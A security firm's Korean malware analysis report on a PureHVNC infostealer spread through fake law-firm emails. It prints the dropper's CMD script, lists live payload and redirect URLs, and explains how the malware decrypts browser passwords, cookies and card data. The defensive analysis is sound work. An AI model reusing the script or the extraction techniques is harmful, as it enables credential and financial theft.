[05월 | 악성코드 분석 보고서] 국내 기업 대상 저작권 사칭 메일을 통한 PureHVNC 악성코드 유포
샌즈랩 위협 분석팀은 매월 악성코드를 선정하여 보고서를 작성합니다.
샌즈랩 위협 분석팀은 매월 악성코드를 선정하여 보고서를 작성합니다.
전문 분석을 통해 파악한 악성코드의 특징과 위협 동향, 연관 정보 등을 공유해 안전한 사이버 환경을 만들어 가고자 합니다.
악성코드에 대한 더 상세한 정보는 사이버 위협 인텔리전스 서비스 <CTX>에서 확인하실 수 있습니다.
1. 개요
본 보고서는 2025년 상반기 샌즈랩에 실제로 수신된 악성 이메일을 기반으로 분석한 악성코드의 기술적 세부 내용을 다룬다.
공격자는 국내 대형 법무법인을 사칭한 이메일을 통해 외부 링크 클릭을 유도하고, 사용자가 악성 압축파일을 다운로드하고 실행하게끔 설계된 사회공학 기법을 활용했다.
![[그림 1] 공격자가 발송한 악성 이메일](/api/media/file/1._%EA%B3%B5%EA%B2%A9%EC%9E%90%EA%B0%80_%EB%B0%9C%EC%86%A1%ED%95%9C_%EC%95%85%EC%84%B1_%EC%9D%B4%EB%A9%94%EC%9D%BC.png)
[그림 1] 공격자가 발송한 악성 이메일
해당 악성코드는 단일 페이로드 실행이 아닌, 다단계로 구성된 복합 실행 구조를 따른다.
초기 감염은 PDF 문서로 위장한 실행파일을 통해 시작되며, DLL Side-Loading, CMD 스크립트 실행, Python 환경 설치, 악성 스크립트 실행 등의 절차를 통해 Python 기반 인포스틸러 페이로드를 실행한다. 이 페이로드는 브라우저에 저장된 로그인 정보, 쿠키, 자동완성 항목, 신용카드 정보, Google 인증 토큰, Facebook 쿠키 등 다양한 민감 정보를 수집하고, 이를 압축한 후 Telegram 메시지 API를 이용해 외부 채널로 전송한다. 또한, 감염 환경이 분석 환경으로 판단되거나 정보 수집이 불가능한 경우 실행을 중단하며, 탐지를 회피하기 위한 조건 기반 로직을 내장하고 있다.
Python 기반 인포스틸러 실행 이후, 악성코드는 외부에서 암호화된 추가 페이로드를 불러와 메모리 내에서 실행한다. 이 페이로드는 여러 계층의 복호화 및 로딩 과정을 거쳐 최종적으로 .NET 기반 실행 파일을 메모리에 적재하고, PureHVNC 계열 악성 모듈을 동작시킨다. 해당 모듈은 시스템 고유 식별자, 설치된 백신 제품, 로그인 계정 정보, 운영체제 정보, 현재 실행 중인 프로세스 경로, 암호화폐 지갑 및 2FA 인증 앱 설치 여부, 카메라 장치 존재 여부 등 다양한 시스템 정보를 수집한다. 이후 수집 데이터를 Protobuf ¹ 포맷으로 직렬화하고 GZip으로 압축한 다음, TLS 암호화 채널을 통해 공격자 서버로 전송한다.
본 보고서에서는 악성 이메일 유입부터 압축파일 구성, 초기 감염 흐름, 개인정보 수집 및 외부 전송, 최종 페이로드 실행까지의 행위를 중심으로 악성코드의 전체 동작을 단계별로 분석했다. 또한, 분석 중 확보한 네트워크 경로, 파일 구조, 실행 조건을 기반으로 본 위협의 주요 특성과 위험도를 정리하며, 유사 위협에 대한 대응 체계 마련 및 침해 지표(IoC) 확보에 기여하는 것을 목적으로 한다.
¹ Protobuf(Protocol Buffers): Google에서 개발한 데이터 직렬화 포맷으로, 구조화된 데이터를 효율적으로 인코딩하고 전송할 수 있도록 설계되었다. 일반적인 텍스트 포맷보다 훨씬 작고 빠르며, 다양한 언어와 플랫폼에서 사용할 수 있다.
2. 악성코드 정보
2025년 4월 말, 샌즈랩에 실제 수신된 악성 이메일을 분석한 결과, 다단계 페이로드 구조를 갖는 인포스틸러 계열 악성코드가 확인되었다.
해당 이메일은 “공지 지식 재산권 침해 처리 통지서”라는 제목으로 발송되었으며, 국내 대형 법무법인을 사칭한 법적 통지 형식의 본문과 함께 압축파일 다운로드를 유도하는 사회공학 기반 시나리오를 포함하고 있었다.
압축파일 내부에는 다수의 실행 및 설정 파일이 포함되어 있으나, Windows 기본 설정(확장자 숨김, 보호된 운영 체제 파일 숨김)이 유지된 환경에서는 사용자가 PDF 아이콘을 가진 실행파일 “검찰 수사 보고서.exe”만 확인할 수 있다. 해당 파일은 실행파일 형식이며, 속성 정보를 위조해 실제 PDF 문서처럼 보이도록 조작했다. 파일 설명, 제품 이름, 저작권 정보 등은 “Haihaisoft PDF Reader”로 설정되어 있고, 원본 파일 이름은 상용 PDF 리더인 “hpreader.exe”로 나타난다. 이 실행파일은 C++로 작성되었으며, 외관상 정상적인 PDF 리더처럼 보이지만 내부에는 악성 로직이 삽입되어 있다.
![[그림 2] “검찰 수사 보고서 속성.exe”의 속성 정보](/api/media/file/2._'%EA%B2%80%EC%B0%B0_%EC%88%98%EC%82%AC_%EB%B3%B4%EA%B3%A0%EC%84%9C_%EC%86%8D%EC%84%B1.exe'%EC%9D%98_%EC%86%8D%EC%84%B1_%EC%A0%95%EB%B3%B4.png)
[그림 2] “검찰 수사 보고서 속성.exe”의 속성 정보
실행파일은 DLL Side-Loading 기법을 통해 함께 위치한 “version.dll”을 로드하고, 내부에서 “_” 디렉토리에 존재하는 “Evidence.docx” 파일의 확장자를 “.cmd”로 변경한 뒤 실행한다.
실행된 CMD 스크립트는 내부 명령어를 통해 PDF 문서로 위장한 Python 3.10.11 설치 파일 “Document.pdf”를 실행하며, 실제로 시스템에 Python 환경을 설치한다. 사용자는 이 과정에서 단순히 "파일을 열 수 없습니다"라는 오류 메시지만 확인할 수 있다. 아래 그림은 “검찰 수사 보고서.exe” 실행 시 열리는 “Document.pdf” 오류 화면이다.
![[그림 3] “검찰 수사 보고서.exe” 실행 시 열리는 “Document.pdf” 오류 화면](/api/media/file/3._'%EA%B2%80%EC%B0%B0_%EC%88%98%EC%82%AC_%EB%B3%B4%EA%B3%A0%EC%84%9C.exe'_%EC%8B%A4%ED%96%89_%EC%8B%9C_%EC%97%B4%EB%A6%AC%EB%8A%94_'Document.pdf'_%EC%98%A4%EB%A5%98_%ED%99%94%EB%A9%B4.png)
[그림 3] “검찰 수사 보고서.exe” 실행 시 열리는 “Document.pdf” 오류 화면
Python 설치가 완료되면, CMD 스크립트는 “images.png” 파일을 “C:\Users\Public\Windows\Lib” 경로로 복사하고, 설치된 Python 환경으로 해당 파일을 실행한다. 이때 Telegram 봇 토큰 문자열이 인자 값으로 전달되며, “images.png”는 외부 페이로드를 불러오는 로더 역할을 수행한다. 실행된 스크립트는 자동 실행 항목 등록 및 Telegram 채널 페이지 파싱을 통해 외부 “.pyc” 포맷 페이로드를 로드하고, 메모리 상에서 인포스틸러 기능을 수행하는 페이로드를 실행한다.
해당 인포스틸러는 사용자 브라우저에 저장된 로그인 정보, 쿠키, 자동완성 항목, 카드 정보, Google 인증 토큰, Facebook 쿠키 등 민감 정보를 수집한 후, Telegram 메시지 API를 통해 외부로 전송한다.
이후 다른 외부 페이로드가 암호화된 형태로 로드되며, 복호화 과정을 거쳐 드롭된 “Qekvcon_crypted.exe”는 정상 프로세스에 프로세스 할로잉 방식으로 주입된다. 이 실행파일은 내부적으로 실행파일 “Espbpn.exe”를 로드하고, 최종적으로 “Xovzm.dll”을 메모리에 적재한다. “Espbpn.exe”와 “Xovzm.dll” 모두 .NET 어셈블리 형식이며, “Xovzm.dll”은 감염 시스템의 상세 정보를 수집하고 외부 서버로 전송한다. 또한 플러그인 다운로드 기능을 통해 원격 제어 또는 추가 명령 실행을 위한 확장 기능을 포함하고 있다.
파일명 | 설명 및 역할 |
|---|---|
검찰 수사 보고서.exe | 초기 실행 파일, version.dll 로드 |
version.dll | Side-Loading 대상 DLL, Evidence.docx 실행 |
Evidence.docx | CMD 스크립트, Document.pdf 및 images.pdf 실행 |
Document.pdf | Python 3.10.11. 설치 파일 |
images.png | 로더 스크립트, 첫 번째 인포스틸러 페이로드 로드 및 실행 |
infostealer.py (가칭) | 첫 번째 인포스틸러, 정보 수집/유출 및 페이로드 실행 |
8fw7.py (가칭) | 실행파일 복호화 후 실행, Qekvcon_crypted.exe 실행 |
Qekvcon_crypted.exe | 페이로드 로더, Espbpn.exe 실행 |
Espbpn.exe | 최종 페이로드 로더, Xovzm.dll 로딩 |
Xovzm.dll | 최종 인포스틸러, 정보 수집/유출 및 플러그인 기능 포함 |
[표 1] 악성코드 구성 파일 및 역할
본 악성코드는 다양한 실행 기술과 파일 포맷을 결합해 다단계 감염 체계를 구성하고 있으며, 실행파일을 정상 문서 프로그램으로 위장해 사용자의 실행을 유도한다. 또한 DLL Side-Loading, 프로세스 할로잉, 외부 페이로드 로딩, 메모리 내 복호화 및 실행 등 탐지를 회피할 수 있는 기법을 전반에 걸쳐 적용하고 있다. 주요 기능별 페이로드를 단계적으로 분리함으로써 분석을 어렵게 만들고, 공격자의 의도에 따라 추가 기능을 유연하게 확장할 수 있도록 설계되었다.
3. 악성코드 동작 순서
공격자는 국내 대형 로펌을 사칭한 이메일을 통해 악성코드를 유포한다.
이메일 본문에는 법적 위반 통지를 사칭한 문구와 함께 "조사 보고서" 버튼이 포함되어 있으며, 사용자가 이를 클릭하면 여러 단계의 HTTP Redirection 과정을 거쳐 "위반사항 조사파일 내 문서.zip"이라는 압축 파일을 다운로드한다. 압축파일을 해제하면 PDF 문서 아이콘으로 위장된 실행파일 "검찰 수사 보고서.exe"가 포함되어 있다. 사용자가 해당 파일을 실행하면, 동일 디렉토리에 존재하는 "version.dll"을 Side-Loading 방식으로 로드하고, "_\Evidence.docx" 파일의 확장자를 ".cmd"로 변경한 뒤 이를 실행한다.
"Evidence.cmd"는 내부 명령어를 통해 PDF로 위장된 "Document.pdf"를 실행하고, 이 파일을 통해 시스템에 Python 3.10.11을 설치한다. 설치가 완료되면 "images.png" 파일을 "C:\Users\Public\Windows\Lib" 경로로 복사하고, 설치된 Python을 이용해 해당 파일을 실행한다. 이때 Telegram 봇 토큰이 인자로 전달된다.
"images.png"는 악성 Python 스크립트로, Telegram 채널 페이지의 <meta> 태그를 파싱 하여 명령 식별자를 획득하고, 단축 URL을 통해 외부의 텍스트 페이로드를 불러온다. 이 페이로드는 메모리에서 실행되며, ".pyc" 포맷의 바이트코드로 구성되어 있다. 본 보고서에서는 이를 “infostealer.py”로 명명한다.
![[그림 4] 악성코드 동작 순서도 (메일 유포 -> Python 기반 인포스틸러 드롭)](/api/media/file/4-1.png)
[그림 4] 악성코드 동작 순서도 (메일 유포 -> Python 기반 인포스틸러 드롭)
"infostealer.py"는 브라우저에 저장된 로그인 정보, 쿠키, 자동완성 항목, 신용카드 정보, Google 인증 토큰, Facebook 쿠키 등 민감 정보를 수집하며, 공인 IP 주소, 국가 정보, 설치된 백신 제품 목록도 함께 수집한다. 수집된 정보는 ZIP 형식으로 압축되어 Telegram 메시지 API를 통해 외부 채널로 전송된다. 전송 이후에는 수집 파일과 압축 파일을 모두 삭제한다.
마지막으로, "infostealer.py"는 외부에서 지정된 페이로드를 텍스트 형태로 다운로드한 뒤 복호화 과정을 거쳐 ".pyc" 포맷의 "8fw7.py" 파일을 메모리에 로드하고 실행한다.
![[그림 5] 악성코드 동작 순서도 (infostealer.py)](/api/media/file/5-1.png)
[그림 5] 악성코드 동작 순서도 (infostealer.py)
"8fw7.py"는 내부에 하드코딩된 암호화 데이터를 압축 해제 및 복호화 한 뒤, PE 파일 형태의 "Qekvcon_crypted.exe"를 추출하고 이를 정상 프로세스인 "RegAsm.exe"에 프로세스 할로잉 방식으로 주입한다. 주입된 "Qekvcon_crypted.exe"는 다시 ".NET" 실행 파일 "Espbpn.exe"를 로드하고, 이 파일은 최종 페이로드인 "Xovzm.dll"을 메모리에 로드한다. 이 DLL은 시스템 내 정보(백신 제품, 사용자 계정 정보, OS 정보, 실행 경로, 암호화폐 지갑 및 2FA 앱 설치 여부, 카메라 장치 존재 여부 등)를 수집하고, 암호화된 TLS 채널을 통해 외부 서버로 전송한다.
이후 공격자가 전달하는 명령을 수신해 플러그인 형태로 기능을 확장하며, 원격 코드 실행 등 후속 악성 행위를 수행할 수 있다.
![[그림 6] 악성코드 동작 순서도 (8fw7.py -> PureHVNC 인포스틸러)](/api/media/file/6-1.png)
[그림 6] 악성코드 동작 순서도 (8fw7.py -> PureHVNC 인포스틸러)
4. 악성코드 분석
4.1. 악성 이메일 유포
공격자는 국내 대형 로펌을 사칭해 악성 이메일을 발송한다.
실제 해당 법인의 공식 홈페이지에는 최근 유사한 사칭 범죄가 지속적으로 발생하고 있다는 안내문이 게시되어 있으며, 이를 통해 공격자가 실존하는 법인의 신뢰도를 악용하고 있음을 확인할 수 있다.
![[그림 7] Bae, Kim & Lee LLC 사칭 범죄 주의 안내 공지 팝업](/api/media/file/7._Bae%2C_Kim__Lee_LLC_%EC%82%AC%EC%B9%AD_%EB%B2%94%EC%A3%84_%EC%A3%BC%EC%9D%98_%EC%95%88%EB%82%B4_%EA%B3%B5%EC%A7%80.png)
[그림 7] Bae, Kim & Lee LLC 사칭 범죄 주의 안내 공지 팝업
*출처: 법무법인 태평양 공식 홈페이지
해당 이메일은 법적 위반 통지를 가장한 형식으로 작성되어 있으며, 수신자에게 특정 사건 관련 문서를 확인하도록 유도한다. 본문 하단에는 PDF 아이콘 형태의 “조사 보고서” 버튼이 포함되어 있고, 사용자가 이를 클릭하면 다단계의 Http Redirection을 통해 파일 공유 사이트로 연결된다.
![[그림 8] 악성 이메일 본문](/api/media/file/8._%EC%95%85%EC%84%B1_%EC%9D%B4%EB%A9%94%EC%9D%BC_%EB%B3%B8%EB%AC%B8.png)
[그림 8] 악성 이메일 본문
Redirection 과정은 다음과 같다. 첫 단계에서는 "https://tr.ee/nnXda2"에 접속하고, 이 URL은 "https://goo.su/EOTSvI"로 Redirect 된다.
이어서 다시 한번 “https://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/file” 주소로 이동하며, 최종적으로 Mediafire 파일 공유 서비스에서 “위반사항 조사파일 내 문서.zip"을 다운로드하게 된다.
![[그림 9] 버튼 클릭 시 발생하는 다단계 Redirection 흐름](/api/media/file/9._%EB%B2%84%ED%8A%BC_%ED%81%B4%EB%A6%AD_%EC%8B%9C_%EB%B0%9C%EC%83%9D%ED%95%98%EB%8A%94_%EB%8B%A4%EB%8B%A8%EA%B3%84_Redirection_%ED%9D%90%EB%A6%84.png)
[그림 9] 버튼 클릭 시 발생하는 다단계 Redirection 흐름
해당 압축파일은 실제 법적 대응 문서처럼 위장된 구조로 되어 있으며, 사용자는 이를 의심 없이 열게 된다.
기본 Windows 설정에서는 "검찰 수사 보고서.exe" 파일만 보이지만, 탐색기에서 "보호된 운영 체제 파일 숨기기"를 해제하면 "vcruntime140.dll", "version.dll" 및 하위 디렉토리("_")가 함께 존재함을 확인할 수 있다.
![[그림 10] 압축 파일 해제 후 사용자에게 보이는 기본 디렉토리 구성](/api/media/file/10._%EC%95%95%EC%B6%95_%ED%8C%8C%EC%9D%BC_%ED%95%B4%EC%A0%9C_%ED%9B%84_%EC%82%AC%EC%9A%A9%EC%9E%90%EC%97%90%EA%B2%8C_%EB%B3%B4%EC%9D%B4%EB%8A%94_%EA%B8%B0%EB%B3%B8_%EB%94%94%EB%A0%89%ED%86%A0%EB%A6%AC_%EA%B5%AC%EC%84%B1.png)
[그림 10] 압축 파일 해제 후 사용자에게 보이는 기본 디렉토리 구성
"_ 디렉토리"에는 "Document.pdf", "Evidence.docx", "images.png", "Invoice.pdf" 파일이 포함되어 있으며, 각각은 정상 문서 파일처럼 위장된 악성 구성 요소다. 이는 사용자가 악성 실행파일의 존재를 인식하지 못하도록 설계된 전형적인 사회공학적 기법이다.
![[그림 11] 압축 파일 내 숨겨진 디렉토리의 내부 구성](/api/media/file/11._%EC%95%95%EC%B6%95_%ED%8C%8C%EC%9D%BC_%EB%82%B4_%EC%88%A8%EA%B2%A8%EC%A7%84_%EB%94%94%EB%A0%89%ED%86%A0%EB%A6%AC%EC%9D%98_%EB%82%B4%EB%B6%80_%EA%B5%AC%EC%84%B1.png)
[그림 11] 압축 파일 내 숨겨진 디렉토리의 내부 구성
4.2. Python 기반 인포스틸러
4.2.1. 초기 감염 및 페이로드 드롭
사용자가 “검찰 수사 보고서.exe”를 실행하면, 내부에서 “version.dll”을 Side-Loading 방식으로 로드하고, “Evidence.docx”의 확장자를 “Evidence.cmd"로 변경한 뒤 이를 실행한다.
![[그림 12] MoveFileW API를 이용한 파일명 변경 로직](/api/media/file/12._MoveFileW_API%EB%A5%BC_%EC%9D%B4%EC%9A%A9%ED%95%9C_%ED%8C%8C%EC%9D%BC%EB%AA%85_%EB%B3%80%EA%B2%BD_%EB%A1%9C%EC%A7%81.png)
[그림 12] MoveFileW API를 이용한 파일명 변경 로직
“Evidence.cmd”는 다음 명령어를 포함하며, 실제로는 Python 설치 및 악성 스크립트 실행을 위한 환경을 자동 구성한다.
@echo off cd /d "%~dp0" explorer "Document.pdf" Document.pdf /quiet TargetDir="C:\Users\Public\Windows" InstallAllUsers=0 Include_doc=0 Include_dev=0 Include_tcltk=0 Include_test=0 Include_launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0 copy "images.png" "C:\Users\Public\Windows\Lib" C:\Users\Public\Windows\python.exe -m pip install pefile pycryptodome requests websocket-client pywin32 pyasn1 start "" /min "C:\Users\Public\Windows\python.exe" C:\Users\Public\Windows\Lib\images.png "MRB_EJ5rzJUt9L_bot" |
“Document.pdf” 파일은 실제 Python 설치 파일과 동일한 SHA-256 해시를 가진 실행파일로 확인되었으며, 사용자 눈에는 PDF 문서처럼 위장되어 있다.
![[그림 13] Document.pdf와 python.exe 파일의 SHA-256 해시 비교](/api/media/file/13._Document.pdf%EC%99%80_python.exe_%ED%8C%8C%EC%9D%BC%EC%9D%98_SHA-256_%ED%95%B4%EC%8B%9C_%EB%B9%84%EA%B5%90.png)
[그림 13] Document.pdf와 python.exe 파일의 SHA-256 해시 비교
설치된 Python 환경을 통해 “images.png”를 실행하면, 다음과 같은 악성 동작이 수행된다.
① 레지스트리 등록을 통한 생존성 확보
악성 스크립트는 "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 경로에 "Windows Update Service" 항목을 추가하고, 백그라운드에서 실행되는 Python 명령을 등록한다.
![[그림 14] images.png에 의해 생성된 자동 실행 레지스트리 항목](/api/media/file/14._images.png%EC%97%90_%EC%9D%98%ED%95%B4_%EC%83%9D%EC%84%B1%EB%90%9C_%EC%9E%90%EB%8F%99_%EC%8B%A4%ED%96%89_%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC_%ED%95%AD%EB%AA%A9.png)
[그림 14] images.png에 의해 생성된 자동 실행 레지스트리 항목
② 외부 페이로드 실행
Telegram 채널 페이지 메타 태그의 "og:description" 값을 파싱 하여 명령 식별자("mt7csjr4")를 추출하고, 이를 통해 단축 URL "https://is.gd/mt7csjr4"로 접속한다. 해당 주소는 최종적으로 "https://paste.rs/3P12F"로 Redirection되어 외부 페이로드를 가져와 실행한다.
![[그림 15] Telegram 채널 페이지의 명령 식별자](/api/media/file/15._Telegram_%EC%B1%84%EB%84%90_%ED%8E%98%EC%9D%B4%EC%A7%80%EC%9D%98_%EB%AA%85%EB%A0%B9_%EC%8B%9D%EB%B3%84%EC%9E%90.png)
[그림 15] Telegram 채널 페이지의 명령 식별자
![[그림 16] paste.rs에 업로드된 난독화된 Python 페이로드](/api/media/file/16._paste.rs%EC%97%90_%EC%97%85%EB%A1%9C%EB%93%9C%EB%90%9C_%EB%82%9C%EB%8F%85%ED%99%94%EB%90%9C_Python_%ED%8E%98%EC%9D%B4%EB%A1%9C%EB%93%9C.png)
[그림 16] paste.rs에 업로드된 난독화된 Python 페이로드
이처럼 "images.png"는 단순한 로더가 아닌, 시스템에 Python을 설치하고 자동 실행을 구성하며, 외부 명령에 따라 동적으로 악성 페이로드를 로드하는 역할을 수행한다. 분석을 통해 확보된 페이로드는 “.pyc” 포맷의 컴파일된 바이트코드로, 이를 분석하기 위해 디스어셈블 및 역추적 과정을 거쳤다. 이 페이로드는 "infostealer.py"로 명명하고, 이후 항목에서 상세하게 설명한다.
해당 모듈은 먼저 수집 데이터를 저장할 디렉토리를 설정하며, 환경 변수 "%TEMP%" 하위에 컴퓨터 이름을 기반으로 고유 폴더를 생성한다. 예를 들어 컴퓨터 이름이 "DESKTOP-EXAMPLE"일 경우, 저장 경로는 "C:\Users<사용자>\AppData\Local\Temp\DESKTOP-EXAMPLE"와 유사한 형태로 구성된다. 이후 수집된 모든 데이터는 이 경로 하위에 항목별 디렉토리로 구분되어 저장된다.
브라우저 데이터 수집은 구조에 따라 두 가지 계열로 나뉜다. 하나는 Chromium 기반 브라우저이며, 다른 하나는 Gecko 엔진 기반 브라우저다. 인포스틸러는 두 계열의 저장 구조와 암호화 방식이 다름을 고려해, 각기 다른 수집 방식으로 정보를 추출한다.
4.2.2. 브라우저 쿠키 수집
인포스틸러는 사용자 시스템에 설치된 Chromium 계열 브라우저를 탐색한 뒤, 각 브라우저에 저장된 쿠키 정보를 추출한다. 공격자는 총 82개의 브라우저 경로를 하드코딩한 상태로, 시스템에 해당 경로가 존재하는지 확인한 후 실제 탐지된 브라우저만 대상으로 수집을 진행한다. 하드코딩된 브라우저 목록은 다음과 같다.
Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser |
쿠키 수집은 멀티스레딩 기반으로 수행된다. 인포스틸러는 최대 두 개의 스레드를 병렬로 실행해 각기 다른 브라우저 경로에 접근하고, 해당 경로에 저장된 쿠키를 추출한다. 수집 절차의 첫 단계는 브라우저의 “Local State” 파일에서 "os_crypt" 필드의 "encrypted_key" 값을 가져오는 것이다. 이 값을 Base64로 디코딩 한 뒤, CryptUnprotectData API를 호출해 마스터 키를 복호화하고, 이를 이용해 민감 데이터를 복호화 한다.
![[그림 17] 마스터키 복호화 절차](/api/media/file/17._%EB%A7%88%EC%8A%A4%ED%84%B0%ED%82%A4_%EB%B3%B5%ED%98%B8%ED%99%94_%EC%A0%88%EC%B0%A8.png)
[그림 17] 마스터키 복호화 절차
마스터 키를 확보한 이후, 공격자는 브라우저를 Headless 모드로 실행한 뒤 디버깅 포트를 열어 WebSocket 통신을 시도한다. 디버깅 포트는 9000~9999 사이의 난수로 설정되며, http://localhost:<포트>/json API를 통해 디버거 WebSocket 주소를 획득한다.
이후 Storage.getCookies 메서드를 호출하여 브라우저 메모리에 존재하는 쿠키를 실시간으로 추출한다. 이 방식은 SQLite DB를 직접 접근하지 않기 때문에 보안 솔루션의 탐지를 회피할 수 있다. 공격자는 특정 도메인의 쿠키를 중점적으로 가공한다. ".facebook.com" 도메인에 속하고 "c_user" 항목을 포함한 쿠키는 "Facebook_Cookies.txt" 파일에 따로 저장한다.
이 값은 로그인된 Facebook 계정의 고유 식별자를 포함하고 있어 세션 탈취 및 계정 침입에 바로 활용 가능하다. 또한 "ads.google.com" 도메인 쿠키는 광고 추적용 쿠키지만, 공격자는 이를 가상 환경 여부를 판단하는 지표로 사용할 수 있다.
![[그림 18] 쿠키 필터링 로직](/api/media/file/18._%EC%BF%A0%ED%82%A4_%ED%95%84%ED%84%B0%EB%A7%81_%EB%A1%9C%EC%A7%81.png)
[그림 18] 쿠키 필터링 로직
모든 쿠키 데이터를 수집한 후, 인포스틸러는 "%TEMP%" 경로 하위에 생성한 고유 폴더 내 "Cookies Browser" 디렉토리에 저장한다. 파일명은 "브라우저명_프로필명.txt" 형식이며, 브라우저별로 나누어 정리된다.
이후, Gecko 엔진 기반 브라우저도 동일한 방식으로 처리한다. 공격자는 16종의 브라우저 경로를 하드코딩했고, 이들 중 시스템에서 실제 탐지된 브라우저만 대상으로 삼는다. 수집 대상인 브라우저의 목록은 다음과 같다.
Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat |
각 브라우저의 사용자 프로필 경로에서 "cookies.sqlite" 파일을 열고, "moz_cookies" 테이블에서 쿠키 데이터를 추출한다. 추출 항목은 도메인, 경로, 쿠키 이름과 값, 보안 여부, 만료 시간 등이며, 앞서와 동일하게 "Cookies Browser" 디렉토리에 저장한다. Gecko 계열 브라우저에서 수집한 쿠키도 ".facebook.com" 도메인의 "c_user" 항목이나 "ads.google.com" 쿠키가 존재할 경우, 동일한 방식으로 처리한다. 이로써 인포스틸러는 주요 브라우저 계열의 쿠키를 포괄적으로 수집하고 정리할 수 있도록 설계되어 있다.
4.2.3. 브라우저 로그인 정보 수집
인포스틸러는 브라우저에 저장된 로그인 계정 정보도 수집한다. 공격자는 이 정보를 복호화 하여 평문 상태로 확보한다.
Chromium 계열 브라우저의 경우, 인포스틸러는 사용자 프로필 디렉토리 내 "Login Data" 또는 "Login Data For Account"라는 SQLite 데이터베이스 파일을 탐색한다. 이 파일은 브라우저가 로그인 정보를 저장하는 기본 저장소이며, 내부의 "logins" 테이블에서 URL, 사용자명, 암호화된 비밀번호를 추출한다. 비밀번호는 앞서 확보한 마스터 키를 이용해 복호화 한다.
![[그림 19] Chromium 로그인 데이터 추출 로직](/api/media/file/19._Chromium_%EB%A1%9C%EA%B7%B8%EC%9D%B8%EB%8D%B0%EC%9D%B4%ED%84%B0_%EC%B6%94%EC%B6%9C_%EB%A1%9C%EC%A7%81.png)
[그림 19] Chromium 로그인 데이터 추출 로직
복호화 된 로그인 정보는 “%TEMP%” 디렉토리 하위의 고유 폴더에 "All_Passwords.txt" 파일로 저장되며, 파일 내에는 브라우저 이름, 프로필 이름, 로그인 대상 URL, 사용자명, 비밀번호가 포함된다. 인포스틸러는 이와 별도로 모든 비밀번호만 수집한 "Word_List.txt" 파일도 생성한다.
Gecko 계열 브라우저는 로그인 정보를 "logins.json" 파일에 JSON 형식으로 저장한다.
이 파일에는 Base64로 인코딩된 암호문 형태의 사용자명 및 비밀번호가 포함되며, ASN.1 구조와 Triple DES 알고리즘을 기반으로 암호화되어 있다. 공격자는 브라우저 설정 경로에서 키 데이터를 확보하고, 이를 통해 복호화 키와 초기화 벡터를 생성한 뒤 DES 복호화 과정을 수행한다.
복호화 된 결과는 Chromium 계열과 동일하게 "All_Passwords.txt" 및 "Word_List.txt" 파일에 저장된다.
이 과정을 통해 인포스틸러는 사용자가 브라우저에 저장한 로그인 정보를 광범위하게 추출하며, 확보한 정보는 이메일, SNS, 포털, 금융 서비스 등 다양한 계정으로 연결될 수 있다. 공격자는 이를 기반으로 추가적인 침해 행위를 수행할 수 있다.
4.2.4. 신용카드 정보 수집
인포스틸러는 브라우저에 저장된 신용카드 정보를 수집한다.
이 기능은 Chromium 계열 브라우저에서만 동작하며, 공격자는 사용자 프로필 디렉토리 내 "Web Data"라는 SQLite 데이터베이스 파일을 탐색한다. 해당 DB에는 "credit_cards" 테이블이 포함돼 있으며, 카드 소유자 이름, 유효기간, 암호화된 카드번호, 마지막 수정 시각 등의 정보가 저장된다. 인포스틸러는 SQL 쿼리를 통해 데이터를 선별한 뒤, 암호화된 카드번호를 추출하고, 앞서 확보한 마스터 키로 복호화 한다.
![[그림 20] 카드 데이터 추출 로직](/api/media/file/20._%EC%B9%B4%EB%93%9C_%EB%8D%B0%EC%9D%B4%ED%84%B0_%EC%B6%94%EC%B6%9C_%EB%A1%9C%EC%A7%81.png)
[그림 20] 카드 데이터 추출 로직
복호화 된 카드 정보는 "%TEMP%" 경로 하위에 위치한 고유 식별자 폴더 내 "Credit Cards" 디렉토리에 저장된다.
저장 파일명은 "브라우저명_프로필명.txt" 형식을 따르며, 각 파일에는 카드명, 카드번호, 유효기간, 추가 시각이 포함된다. 이처럼 카드번호를 평문으로 저장하는 방식은 사용자에게 직접적인 금융 피해를 유발할 수 있고, 공격자는 수집된 정보를 바탕으로 카드 복제, 무단 결제 시도 등 직접적인 금전 침해 행위를 수행할 수 있다
4.2.5. 자동완성 정보 수집
인포스틸러는 사용자가 웹 브라우저에 입력한 자동완성 정보(Autofill)도 수집한다.
이 정보는 일반적으로 이름, 전화번호, 주소, 이메일, 회사명 등 웹 양식에 입력한 텍스트 기반 개인 정보로 구성된다. 공격자는 "Web Data" 파일의 "autofill" 테이블을 조회하여 필드 이름과 입력 값을 추출하고, 이를 순차적으로 저장한다.
수집된 결과는 "%TEMP%" 디렉토리 하위 고유 폴더의 "AutoFills" 디렉토리에 "브라우저명_프로필명.txt" 형식으로 기록된다. 자동완성 정보는 사용자가 인지하지 못한 상태로 장기간 저장되는 경우가 많으며, 대부분 암호화되지 않은 평문 상태로 유지된다. 이로 인해 공격자는 피해자의 실명, 주소, 연락처, 회사 등 실질적인 신원 식별 정보를 손쉽게 확보할 수 있다.
Gecko 계열 브라우저도 일부 자동완성 기능을 제공하지만, 저장 구조나 보안 처리 방식이 상이하고 주요 정보가 암호화되어 있지 않거나 저장되지 않는 경우가 많아, 인포스틸러는 해당 기능을 Chromium 계열 브라우저에 집중해 수행한다.
